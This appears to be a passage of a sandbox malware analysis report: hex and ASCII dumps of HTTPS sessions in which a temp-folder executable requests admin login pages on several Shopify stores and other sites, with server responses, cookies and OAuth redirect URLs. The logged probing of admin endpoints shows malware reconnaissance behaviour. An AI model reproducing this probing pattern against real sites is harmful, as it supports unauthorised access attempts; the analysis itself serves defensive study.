2023-12-20 02:13:39 UTC	1369	IN	Data Raw: 0a 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 70 61 79 6d 65 6e 74 2d 70 6c 61 6e 2d 73 65 74 75 70 2e 63 66 6d 3f 64 3d 55 6e 69 71 75 65 41 75 73 74 72 61 6c 69 61 6e 2e 63 6f 6d 22 20 63 6c 61 73 73 3d 22 6c 69 6e 6b 20 64 69 66 2d 6c 22 3e 53 65 65 20 64 65 74 61 69 6c 73 3c 2f 61 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 72 65 64 69 74 69 20 22 3e 0a 3c 75 6c 3e 0a 3c 6c 69 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 69 6d 67 22 3e 0a 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 68 64 76 33 2d 69 6d 67 2f 33 30 64 61 79 73 6d 61 6c 6c 69 63 6f 2e 70 6e 67 22 20 61 Data Ascii: <a href="https://www.HugeDomains.com/payment-plan-setup.cfm?d=UniqueAustralian.com" class="link dif-l">See details</a></div><div class="crediti "><ul><li><div class="img"><img src="https://static.HugeDomains.com/images/hdv3-img/30daysmallico.png" a
2023-12-20 02:13:39 UTC	1369	IN	Data Raw: 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 69 6e 67 6c 65 2d 70 72 6f 64 75 63 74 2d 62 6c 6f 63 6b 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 6e 2d 62 6c 6f 63 6b 22 3e 0a 3c 68 31 20 69 64 3d 22 6d 61 69 6e 22 20 63 6c 61 73 73 3d 22 64 6f 6d 61 69 6e 2d 6e 61 6d 65 22 3e 55 6e 69 71 75 65 41 75 73 74 72 61 6c 69 61 6e 2e 63 6f 6d 3c 2f 68 31 3e 0a 3c 70 20 63 6c 61 73 73 3d 22 64 2d 74 2d 6e 22 3e 54 68 69 73 20 64 6f 6d 61 69 6e 20 69 73 20 66 6f 72 20 73 61 6c 65 3a 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 72 65 65 6e 22 3e 24 32 2c 36 39 35 3c 2f 73 70 61 6e 3e 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 61 62 6c 65 74 2d 62 6c 6f 63 6b 2d 73 22 3e 0a 3c 70 20 63 6c 61 73 Data Ascii: "container"><div class="single-product-block"><div class="bn-block"><h1 id="main" class="domain-name">UniqueAustralian.com</h1><p class="d-t-n">This domain is for sale: <span class="green">$2,695</span></p></div><div class="tablet-block-s"><p clas
2023-12-20 02:13:39 UTC	1369	IN	Data Raw: 22 63 69 72 63 75 6c 61 72 4a 5f 37 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 75 6c 61 72 4a 5f 38 22 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 62 75 74 74 6f 6e 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 61 62 6c 65 74 2d 62 6c 6f 63 6b 2d 6d 69 64 6c 65 22 20 73 74 79 6c 65 3d 22 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 32 35 70 78 3b 22 3e 0a 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 22 3e 6f 72 3c 2f 73 70 61 6e 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 61 62 6c 65 74 2d 62 6c 6f 63 6b 2d 72 69 67 68 74 22 3e 0a 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d Data Ascii: "circularJ_7"></div><div class="circularJ_8"></div></div></button></div><div class="tablet-block-midle" style="padding-bottom:25px;"><span style="font-size:16px;">or</span></div><div class="tablet-block-right"><a href="https://www.HugeDomains.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
390	192.168.2.4	51050	172.217.15.206	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:38 UTC	334	OUT	GET /a/collinsgordonhenry.com/sites/system/app/pages/meta/domainWelcome HTTP/1.1 Host: sites.google.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://sites.google.com/a/collinsgordonhenry.com/sites/system/app/pages/meta/domainWelcome
2023-12-20 02:13:39 UTC	467	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 X-Frame-Options: DENY Last-Modified: Wed, 06 Dec 2023 21:50:10 GMT Expires: Wed, 20 Dec 2023 02:13:39 GMT Date: Wed, 20 Dec 2023 02:13:39 GMT Cache-Control: private, max-age=5 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2023-12-20 02:13:39 UTC	785	IN	Data Raw: 31 32 31 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0a 3c 68 65 61 64 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 2e 74 6f 70 53 68 61 64 6f 77 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 20 75 72 6c 28 68 74 74 70 73 3a 2f 2f 73 73 6c 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 69 74 65 73 2f 70 2f 64 38 37 31 31 33 2f 73 79 73 74 65 6d 2f 61 70 70 2f 70 61 67 65 73 2f 6d 65 74 61 2f 64 6f 6d 61 69 6e 57 65 6c 63 6f 6d 65 2f 74 53 68 61 64 2e 67 69 66 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 Data Ascii: 1214<!DOCTYPE html><html xmlns="http://www.w3.org/1999/xhtml"><head><style type="text/css"> .topShadow { background-image: url(https://ssl.gstatic.com/sites/p/d87113/system/app/pages/meta/domainWelcome/tShad.gif); ba
2023-12-20 02:13:39 UTC	1252	IN	Data Raw: 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 2e 74 6f 70 50 61 64 64 69 6e 67 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 2d 74 6f 70 3a 20 37 35 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 2e 66 6f 6f 74 65 72 54 65 78 74 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 36 36 36 36 36 36 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 Data Ascii: } .topPadding { padding-top: 75px; } .footerText { font-family: Arial, Helvetica, sans-serif; font-size: 12px; color: #666666; background-position: center;
2023-12-20 02:13:39 UTC	1252	IN	Data Raw: 61 74 69 63 2e 63 6f 6d 2f 73 69 74 65 73 2f 70 2f 64 38 37 31 31 33 2f 73 79 73 74 65 6d 2f 61 70 70 2f 70 61 67 65 73 2f 6d 65 74 61 2f 64 6f 6d 61 69 6e 57 65 6c 63 6f 6d 65 2f 72 54 6f 70 43 6f 72 6e 65 72 2e 67 69 66 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 20 6e 6f 2d 72 65 70 65 61 74 3b 0a 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 2e 6c 42 6f 74 43 6f 72 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 20 75 72 6c 28 68 74 74 70 73 3a 2f 2f 73 73 6c 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 69 74 65 73 2f 70 2f 64 38 37 31 31 33 2f 73 79 73 74 65 6d 2f 61 70 70 2f 70 61 67 65 73 2f 6d 65 74 61 2f 64 6f 6d 61 69 Data Ascii: atic.com/sites/p/d87113/system/app/pages/meta/domainWelcome/rTopCorner.gif); background-repeat: no-repeat; } .lBotCorner { background-image: url(https://ssl.gstatic.com/sites/p/d87113/system/app/pages/meta/domai
2023-12-20 02:13:39 UTC	1252	IN	Data Raw: 0a 3c 2f 74 72 3e 0a 3c 74 72 3e 0a 3c 74 64 20 77 69 64 74 68 3d 22 31 33 22 20 63 6c 61 73 73 3d 22 6c 65 66 74 53 68 61 64 6f 77 22 3e 3c 69 6d 67 20 73 72 63 3d 22 64 6f 6d 61 69 6e 57 65 6c 63 6f 6d 65 2f 73 2e 67 69 66 22 20 77 69 64 74 68 3d 22 31 22 20 68 65 69 67 68 74 3d 22 31 22 20 2f 3e 3c 2f 74 64 3e 0a 3c 74 64 3e 3c 70 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 20 63 6c 61 73 73 3d 22 77 65 6c 63 6f 6d 65 22 3e 57 65 6c 63 6f 6d 65 20 74 6f 3c 62 72 20 2f 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 69 74 65 4e 61 6d 65 22 3e 63 6f 6c 6c 69 6e 73 67 6f 72 64 6f 6e 68 65 6e 72 79 2e 63 6f 6d 3c 2f 73 70 61 6e 3e 3c 2f 70 3e 3c 2f 74 64 3e 0a 3c 74 64 20 63 6f 6c 73 70 61 6e 3d 22 33 22 20 61 6c 69 67 6e 3d 22 72 69 67 68 74 22 3e 3c 69 Data Ascii: </tr><tr><td width="13" class="leftShadow"><img src="domainWelcome/s.gif" width="1" height="1" /></td><td><p align="center" class="welcome">Welcome to<br /><span class="siteName">collinsgordonhenry.com</span></p></td><td colspan="3" align="right"><i
2023-12-20 02:13:39 UTC	95	IN	Data Raw: 20 63 72 65 61 74 69 6e 67 20 79 6f 75 72 20 68 6f 6d 65 20 70 61 67 65 20 77 69 74 68 20 47 6f 6f 67 6c 65 20 53 69 74 65 73 3c 2f 61 3e 3c 2f 74 64 3e 0a 3c 74 64 3e 3c 2f 74 64 3e 0a 3c 2f 74 72 3e 0a 3c 2f 74 61 62 6c 65 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 0d 0a Data Ascii: creating your home page with Google Sites</a></td><td></td></tr></table></body></html>
2023-12-20 02:13:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
391	192.168.2.4	51114	23.227.38.74	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:39 UTC	189	OUT	GET /admin/auth/login HTTP/1.1 Host: eco-child.myshopify.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:39 UTC	1113	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 02:13:39 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Sorting-Hat-PodId: 60 X-Sorting-Hat-ShopId: 7475083 Vary: Accept-Encoding Referrer-Policy: origin-when-cross-origin X-Frame-Options: DENY X-ShopId: 7475083 X-ShardId: 60 Cache-Control: no-store Content-Language: en X-Shopify-Login-Required: true Strict-Transport-Security: max-age=7889238 Set-Cookie: _secure_admin_session_id=defde6fce4b84ff3d2dc497b582fb236; path=/admin; expires=Wed, 20 Mar 2024 02:13:39 GMT; secure; HttpOnly; SameSite=None Set-Cookie: _secure_admin_session_id_csrf=defde6fce4b84ff3d2dc497b582fb236; path=/admin; expires=Wed, 20 Mar 2024 02:13:39 GMT; secure; HttpOnly; SameSite=Lax Set-Cookie: _master_udr=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaEpJaWxpTVRVMllXTmxZaTFoT0dVeExUUTFZemN0WWpWaE1pMWpNakF4TlRobFlqY3haamdHT2daRlJnPT0iLCJleHAiOiIyMDI1LTEyLTIwVDAyOjEzOjM5LjIxN1oiLCJwdXIiOiJjb29raWUuX21hc3Rlcl91ZHIifX0%3D--992f231c2215e08988e22476541c450e8c1523cd; path=/admin; expires=Sat, 20 Dec 2025 02:13:39 GMT; secure; HttpOnly; SameSite=Lax
2023-12-20 02:13:39 UTC	1578	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 69 64 65 6e 74 69 74 79 2d 73 74 61 74 65 2d 39 65 30 65 38 30 32 38 33 66 35 36 37 32 30 39 39 36 37 30 36 30 39 33 38 31 36 65 30 64 66 34 3d 42 41 68 37 44 45 6b 69 44 6e 4a 6c 64 48 56 79 62 69 31 30 62 77 59 36 42 6b 56 55 53 53 49 31 61 48 52 30 63 48 4d 36 4c 79 39 6c 59 32 38 74 59 32 68 70 62 47 51 75 62 58 6c 7a 61 47 39 77 61 57 5a 35 4c 6d 4e 76 62 53 39 68 5a 47 31 70 62 69 39 68 64 58 52 6f 4c 32 78 76 5a 32 6c 75 42 6a 73 41 56 45 6b 69 45 58 4a 6c 5a 47 6c 79 5a 57 4e 30 4c 58 56 79 61 51 59 37 41 46 52 4a 49 6b 46 6f 64 48 52 77 63 7a 6f 76 4c 32 56 6a 62 79 31 6a 61 47 6c 73 5a 43 35 74 65 58 4e 6f 62 33 42 70 5a 6e 6b 75 59 32 39 74 4c 32 46 6b 62 57 6c 75 4c 32 46 31 64 47 67 76 61 57 52 6c 62 6e 52 Data Ascii: Set-Cookie: identity-state-9e0e80283f56720996706093816e0df4=BAh7DEkiDnJldHVybi10bwY6BkVUSSI1aHR0cHM6Ly9lY28tY2hpbGQubXlzaG9waWZ5LmNvbS9hZG1pbi9hdXRoL2xvZ2luBjsAVEkiEXJlZGlyZWN0LXVyaQY7AFRJIkFodHRwczovL2Vjby1jaGlsZC5teXNob3BpZnkuY29tL2FkbWluL2F1dGgvaWRlbnR
2023-12-20 02:13:39 UTC	1389	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 73 65 6c 66 27 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 20 68 74 74 70 73 3a 2f 2f 2a 20 73 68 6f 70 69 66 79 2d 70 6f 73 3a 2f 2f 2a 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 77 73 73 3a 2f 2f 2a 20 68 74 74 70 73 3a 2f 2f 2a 3b 20 66 72 61 6d 65 2d 61 6e 63 65 73 74 6f 72 73 20 27 6e 6f 6e 65 27 3b 20 66 72 61 6d 65 2d 73 72 63 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 20 73 68 6f 70 69 66 79 2d 70 6f 73 3a 2f 2f 2a 3b 20 69 6d 67 2d 73 72 63 20 27 73 65 6c 66 27 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 68 74 74 70 73 3a 3b 20 73 Data Ascii: Content-Security-Policy: default-src 'self' data: blob: 'unsafe-inline' 'unsafe-eval' https://* shopify-pos://; connect-src 'self' wss:// https://; frame-ancestors 'none'; frame-src 'self' https:// shopify-pos://*; img-src 'self' data: blob: https:; s
2023-12-20 02:13:39 UTC	62	IN	Data Raw: 43 46 2d 52 41 59 3a 20 38 33 38 34 35 65 30 37 63 66 38 61 32 35 61 66 2d 4d 49 41 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: CF-RAY: 83845e07cf8a25af-MIAalt-svc: h3=":443"; ma=86400
2023-12-20 02:13:39 UTC	334	IN	Data Raw: 31 34 37 0d 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 6e 6f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 63 63 6f 75 6e 74 73 2e 73 68 6f 70 69 66 79 2e 63 6f 6d 2f 6f 61 75 74 68 2f 61 75 74 68 6f 72 69 7a 65 3f 63 6c 69 65 6e 74 5f 69 64 3d 37 65 65 36 35 61 36 33 36 30 38 38 34 33 63 35 37 37 64 62 38 62 32 33 63 34 64 37 33 31 36 65 61 30 61 30 31 62 64 32 66 37 35 39 34 66 38 61 39 63 30 36 65 61 36 36 38 63 31 62 37 37 35 63 26 61 6d 70 3b 64 65 73 74 69 6e 61 74 69 6f 6e 5f 75 75 69 64 3d 63 61 32 63 65 32 38 38 2d 34 32 38 30 2d 34 38 30 38 2d 39 32 62 65 2d 36 31 30 66 63 30 35 39 61 32 37 66 26 61 6d 70 3b 6e 6f 6e 63 65 3d 62 65 33 63 32 35 38 62 63 31 65 62 39 33 36 64 Data Ascii: 147<html> <body> <noscript> <a href="https://accounts.shopify.com/oauth/authorize?client_id=7ee65a63608843c577db8b23c4d7316ea0a01bd2f7594f8a9c06ea668c1b775c&destination_uuid=ca2ce288-4280-4808-92be-610fc059a27f&nonce=be3c258bc1eb936d
2023-12-20 02:13:39 UTC	1369	IN	Data Raw: 37 35 65 0d 0a 73 68 6f 70 69 66 79 2e 63 6f 6d 25 32 46 61 64 6d 69 6e 25 32 46 61 75 74 68 25 32 46 69 64 65 6e 74 69 74 79 25 32 46 63 61 6c 6c 62 61 63 6b 26 61 6d 70 3b 72 65 73 70 6f 6e 73 65 5f 74 79 70 65 3d 63 6f 64 65 26 61 6d 70 3b 73 63 6f 70 65 3d 65 6d 61 69 6c 25 32 30 68 74 74 70 73 25 33 41 25 32 46 25 32 46 61 70 69 2e 73 68 6f 70 69 66 79 2e 63 6f 6d 25 32 46 61 75 74 68 25 32 46 64 65 73 74 69 6e 61 74 69 6f 6e 73 2e 72 65 61 64 6f 6e 6c 79 25 32 30 6f 70 65 6e 69 64 25 32 30 70 72 6f 66 69 6c 65 25 32 30 68 74 74 70 73 25 33 41 25 32 46 25 32 46 61 70 69 2e 73 68 6f 70 69 66 79 2e 63 6f 6d 25 32 46 61 75 74 68 25 32 46 70 61 72 74 6e 65 72 73 2e 63 6f 6c 6c 61 62 6f 72 61 74 6f 72 2d 72 65 6c 61 74 69 6f 6e 73 68 69 70 73 2e 72 65 61 Data Ascii: 75eshopify.com%2Fadmin%2Fauth%2Fidentity%2Fcallback&response_type=code&scope=email%20https%3A%2F%2Fapi.shopify.com%2Fauth%2Fdestinations.readonly%20openid%20profile%20https%3A%2F%2Fapi.shopify.com%2Fauth%2Fpartners.collaborator-relationships.rea
2023-12-20 02:13:39 UTC	524	IN	Data Raw: 73 2e 72 65 61 64 6f 6e 6c 79 25 32 30 68 74 74 70 73 25 33 41 25 32 46 25 32 46 61 70 69 2e 73 68 6f 70 69 66 79 2e 63 6f 6d 25 32 46 61 75 74 68 25 32 46 62 61 6e 6b 69 6e 67 2e 6d 61 6e 61 67 65 25 32 30 68 74 74 70 73 25 33 41 25 32 46 25 32 46 61 70 69 2e 73 68 6f 70 69 66 79 2e 63 6f 6d 25 32 46 61 75 74 68 25 32 46 6d 65 72 63 68 61 6e 74 2d 73 65 74 75 70 2d 64 61 73 68 62 6f 61 72 64 2e 67 72 61 70 68 71 6c 25 32 30 68 74 74 70 73 25 33 41 25 32 46 25 32 46 61 70 69 2e 73 68 6f 70 69 66 79 2e 63 6f 6d 25 32 46 61 75 74 68 25 32 46 73 68 6f 70 69 66 79 2d 63 68 61 74 2e 61 64 6d 69 6e 2e 67 72 61 70 68 71 6c 25 32 30 68 74 74 70 73 25 33 41 25 32 46 25 32 46 61 70 69 2e 73 68 6f 70 69 66 79 2e 63 6f 6d 25 32 46 61 75 74 68 25 32 46 66 6c 6f 77 2e Data Ascii: s.readonly%20https%3A%2F%2Fapi.shopify.com%2Fauth%2Fbanking.manage%20https%3A%2F%2Fapi.shopify.com%2Fauth%2Fmerchant-setup-dashboard.graphql%20https%3A%2F%2Fapi.shopify.com%2Fauth%2Fshopify-chat.admin.graphql%20https%3A%2F%2Fapi.shopify.com%2Fauth%2Fflow.
2023-12-20 02:13:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
392	192.168.2.4	51119	23.227.38.74	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:39 UTC	192	OUT	GET /admin/auth/login HTTP/1.1 Host: artusopastry.myshopify.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:39 UTC	1115	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 02:13:39 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Sorting-Hat-PodId: 312 X-Sorting-Hat-ShopId: 1584544 Vary: Accept-Encoding Referrer-Policy: origin-when-cross-origin X-Frame-Options: DENY X-ShopId: 1584544 X-ShardId: 312 Cache-Control: no-store Content-Language: en X-Shopify-Login-Required: true Strict-Transport-Security: max-age=7889238 Set-Cookie: _secure_admin_session_id=97fa5777df9869e23b6753e13f058d84; path=/admin; expires=Wed, 20 Mar 2024 02:13:39 GMT; secure; HttpOnly; SameSite=None Set-Cookie: _secure_admin_session_id_csrf=97fa5777df9869e23b6753e13f058d84; path=/admin; expires=Wed, 20 Mar 2024 02:13:39 GMT; secure; HttpOnly; SameSite=Lax Set-Cookie: _master_udr=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaEpJaWt4T1RVNFlXSXhOUzFsTlRNMUxUUXhNbU10T0RnMk1TMWtPVGMzTXprek9EWmpPR0VHT2daRlJnPT0iLCJleHAiOiIyMDI1LTEyLTIwVDAyOjEzOjM5LjIzNloiLCJwdXIiOiJjb29raWUuX21hc3Rlcl91ZHIifX0%3D--8a9e4a677484ea5aeb4e27d0703ce54b926266d5; path=/admin; expires=Sat, 20 Dec 2025 02:13:39 GMT; secure; HttpOnly; SameSite=Lax
2023-12-20 02:13:39 UTC	1586	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 69 64 65 6e 74 69 74 79 2d 73 74 61 74 65 2d 38 65 39 31 38 33 33 38 63 37 64 35 38 64 38 32 34 63 64 32 31 65 36 32 34 65 34 33 38 32 62 39 3d 42 41 68 37 44 45 6b 69 44 6e 4a 6c 64 48 56 79 62 69 31 30 62 77 59 36 42 6b 56 55 53 53 49 34 61 48 52 30 63 48 4d 36 4c 79 39 68 63 6e 52 31 63 32 39 77 59 58 4e 30 63 6e 6b 75 62 58 6c 7a 61 47 39 77 61 57 5a 35 4c 6d 4e 76 62 53 39 68 5a 47 31 70 62 69 39 68 64 58 52 6f 4c 32 78 76 5a 32 6c 75 42 6a 73 41 56 45 6b 69 45 58 4a 6c 5a 47 6c 79 5a 57 4e 30 4c 58 56 79 61 51 59 37 41 46 52 4a 49 6b 52 6f 64 48 52 77 63 7a 6f 76 4c 32 46 79 64 48 56 7a 62 33 42 68 63 33 52 79 65 53 35 74 65 58 4e 6f 62 33 42 70 5a 6e 6b 75 59 32 39 74 4c 32 46 6b 62 57 6c 75 4c 32 46 31 64 47 67 Data Ascii: Set-Cookie: identity-state-8e918338c7d58d824cd21e624e4382b9=BAh7DEkiDnJldHVybi10bwY6BkVUSSI4aHR0cHM6Ly9hcnR1c29wYXN0cnkubXlzaG9waWZ5LmNvbS9hZG1pbi9hdXRoL2xvZ2luBjsAVEkiEXJlZGlyZWN0LXVyaQY7AFRJIkRodHRwczovL2FydHVzb3Bhc3RyeS5teXNob3BpZnkuY29tL2FkbWluL2F1dGg
2023-12-20 02:13:39 UTC	1394	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 73 65 6c 66 27 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 20 68 74 74 70 73 3a 2f 2f 2a 20 73 68 6f 70 69 66 79 2d 70 6f 73 3a 2f 2f 2a 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 77 73 73 3a 2f 2f 2a 20 68 74 74 70 73 3a 2f 2f 2a 3b 20 66 72 61 6d 65 2d 61 6e 63 65 73 74 6f 72 73 20 27 6e 6f 6e 65 27 3b 20 66 72 61 6d 65 2d 73 72 63 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 20 73 68 6f 70 69 66 79 2d 70 6f 73 3a 2f 2f 2a 3b 20 69 6d 67 2d 73 72 63 20 27 73 65 6c 66 27 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 68 74 74 70 73 3a 3b 20 73 Data Ascii: Content-Security-Policy: default-src 'self' data: blob: 'unsafe-inline' 'unsafe-eval' https://* shopify-pos://; connect-src 'self' wss:// https://; frame-ancestors 'none'; frame-src 'self' https:// shopify-pos://*; img-src 'self' data: blob: https:; s
2023-12-20 02:13:39 UTC	62	IN	Data Raw: 43 46 2d 52 41 59 3a 20 38 33 38 34 35 65 30 37 64 39 33 32 64 61 66 39 2d 4d 49 41 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: CF-RAY: 83845e07d932daf9-MIAalt-svc: h3=":443"; ma=86400
2023-12-20 02:13:39 UTC	2226	IN	Data Raw: 38 61 62 0d 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 6e 6f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 63 63 6f 75 6e 74 73 2e 73 68 6f 70 69 66 79 2e 63 6f 6d 2f 6f 61 75 74 68 2f 61 75 74 68 6f 72 69 7a 65 3f 63 6c 69 65 6e 74 5f 69 64 3d 37 65 65 36 35 61 36 33 36 30 38 38 34 33 63 35 37 37 64 62 38 62 32 33 63 34 64 37 33 31 36 65 61 30 61 30 31 62 64 32 66 37 35 39 34 66 38 61 39 63 30 36 65 61 36 36 38 63 31 62 37 37 35 63 26 61 6d 70 3b 64 65 73 74 69 6e 61 74 69 6f 6e 5f 75 75 69 64 3d 64 30 32 61 61 66 63 33 2d 31 30 34 30 2d 34 62 39 65 2d 39 64 36 64 2d 65 65 66 36 62 62 32 31 66 37 32 65 26 61 6d 70 3b 6e 6f 6e 63 65 3d 36 34 33 34 30 39 37 34 36 36 31 63 38 37 38 61 Data Ascii: 8ab<html> <body> <noscript> <a href="https://accounts.shopify.com/oauth/authorize?client_id=7ee65a63608843c577db8b23c4d7316ea0a01bd2f7594f8a9c06ea668c1b775c&destination_uuid=d02aafc3-1040-4b9e-9d6d-eef6bb21f72e&nonce=64340974661c878a
2023-12-20 02:13:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
393	192.168.2.4	51141	162.159.134.42	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:39 UTC	171	OUT	GET /admin HTTP/1.1 Host: directa-plus.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
